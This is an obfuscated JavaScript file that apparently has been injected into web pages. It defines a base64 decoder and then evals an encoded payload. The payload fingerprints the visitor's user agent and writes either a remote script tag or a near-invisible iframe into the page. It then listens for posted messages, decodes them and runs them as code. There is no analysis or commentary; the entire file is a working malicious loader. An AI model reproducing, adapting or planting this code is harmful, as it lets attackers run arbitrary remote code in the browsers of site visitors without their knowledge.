eval("\x77\x69\x6e\x64\x6f\x77")["\x50\x7a\x53\x6e"]=function(e){var li ='AB'+''+'CD'+''+'E'+''+'FGHIJKLMNOPQRST'+'UVWXYZabcdefghij'+''+'klmno'+''+'pqrs'+''+'tuvwxy'+''+'z0123456789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x6d\x64\x47"]=function(){eval(PzSn("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoUHpTbih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7dmFyIF91YT1uYXZpZ2F0b3IudXNlckFnZW50O3ZhciBfUHpTblB6U249JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YoUHpTbigiWW1GcFpIVT0iKSk+LTEgfHwgX3VhLmluZGV4T2YoUHpTbignU0hWaGQyVnBRbkp2ZDNObGNnPT0nKSk+LTEpe2lmKF91YS5pbmRleE9mKFB6U24oJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfUHpTblB6U24pO31lbHNle2Z1bmN0aW9uIHJkKG4sbSl7cmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSoobS1uKzEpK24pO31mdW5jdGlvbiBybShlKXtpZihlJiZlLnRhZ05hbWUudG9VcHBlckNhc2UoKT09PSJJRlJBTUUiJiZlLnNyYy5pbmRleE9mKHUpPi0xKXtlLnJlbW92ZSgpO31lbHNlIGlmKGUubmV4dEVsZW1lbnRTaWJsaW5nKXtybShlLm5leHRFbGVtZW50U2libGluZyk7fX1sZXQgYz1kW1B6U24oIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSdoJysnJysnbGphJysnJysnSScrJycrJ1NFJysnJzt2YXIgX19rZG5xaWQgPSAnaycgKyByZCgxLCAxMDAwMDApO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfX2tkbnFpZCsnIj4nKyc8L2QnKydpdicrJz4nKTt3WydfX2snKydkYScrJ25xJysnb2InKydqXzk2J109ZFsncXUnKydlcnknKydTZWxlJysnY3RvJysnciddKCcjJytfX2tkbnFpZCk7X2lkICs9IGRbJ3F1JysnZXJ5JysnU2UnKydsZWMnKyd0bycrJ3JBJysnbGwnXSgnLicrX2NsYXNzKS5sZW5ndGg7dmFyIHogPSB1KyctMi8nK19pZCsnLycrcjtkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyJhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WyJhZCIrImRFdiIrImVudEwiKyJpc3QiKyJlbmVyIl0oIm0iKyJlc3MiKyJhZ2UiLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyK19pZF0pe3JtKGMpO25ldyBGdW5jdGlvbihQelNuKGUuZGF0YVtyK19pZF0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSgpO319KTt9fWVsc2V7ZG9jdW1lbnQud3JpdGUoX1B6U25QelNuKTt9fSkoJz1VaicrJycrJ00nKycnKyd0JysnWScrJ1RPJysnJysndCcrJ00nKycnKydtJysnJysnUnlVJysnJysnaWQxJysnJysndG0nKycnKydjcXAnKycyZEcnKydKVEonKycnKyd6UScrJycrJ0ROdycrJycrJ0lUUScrJycrJ3pVQycrJycrJ2N2UicrJ25MdCcrJ2xtWScrJ2xWJysnJysnSCcrJycrJ2V1dycrJzJjeicrJycrJ1praycrJycrJ01sJysnJysnWWsnKycnKydrTWwnKycnKydFMCcrJycrJ01sTScrJ0hjMCcrJycrJ1JIYScrJycrJycsJ2gnKycnKydsamEnKycnKydJJysnJysnU0UnKycnLHdpbmRvdyxkb2N1bWVudCwwLCdrJyk="));}